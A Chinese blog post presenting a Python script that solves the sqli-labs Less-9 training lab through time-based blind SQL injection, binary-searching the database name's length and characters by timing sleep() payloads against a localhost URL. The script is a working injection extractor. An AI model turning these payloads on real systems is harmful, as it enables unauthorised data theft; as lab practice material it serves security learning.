sqli-labs 第九关基于时间盲注 python 脚本

原创已于 2023-04-25 07:55:16 修改 · 3.2k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#python #网络安全

于 2022-01-25 12:23:34 首次发布

CTF 专栏收录该内容

8 篇文章

订阅专栏

本文介绍了一种通过SQL注入攻击获取数据库名称的方法。利用布尔盲注技术，通过发送HTTP请求并观察响应时间变化来确定数据库名称长度及具体字符，适用于防御较弱的目标。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

# @Author:Mirror
import time

import requests
db_len = 0
def  get_schema_len (url):
    len = 0
    left = 0
    right = 20
    while (left <= right):
        mid = left + (right - left)//2;
        data = "id=1' and if(length(database())>{},sleep(0.4),1)--+".format(mid)
        one = time.time()
        res = requests.get(url,data)
       # print (res.url)
        two = time.time()
        if abs(two - one) >= (0.4):
            left = mid + 1
        else:
            right = mid - 1
    len = left
    print (len)
    return len


def get_schema_name(url):
    len = get_schema_len(url)
    db_name = ''
    for i in range(1,len+1):
        left = 0
        right = 128
        while(left <= right):
            mid = left + (right - left)//2
            data = "id=1' and if (substr(database(),{},1)>'{}',sleep(0.4),1)--+".format(i,chr(mid))
            one = time.time()
            res = requests.get(url,data)
            print (res.url)
            two = time.time()
            if abs(two - one) >=0.4:
                left = mid + 1
            else :
                right = mid - 1
        db_name+=chr(left)
    print (db_name)



url = "http://localhost:800/sqli-labs/Less-9/"
get_schema_name(url)

以上是一部分，要学会自己编写脚本喔！库名好像都是大写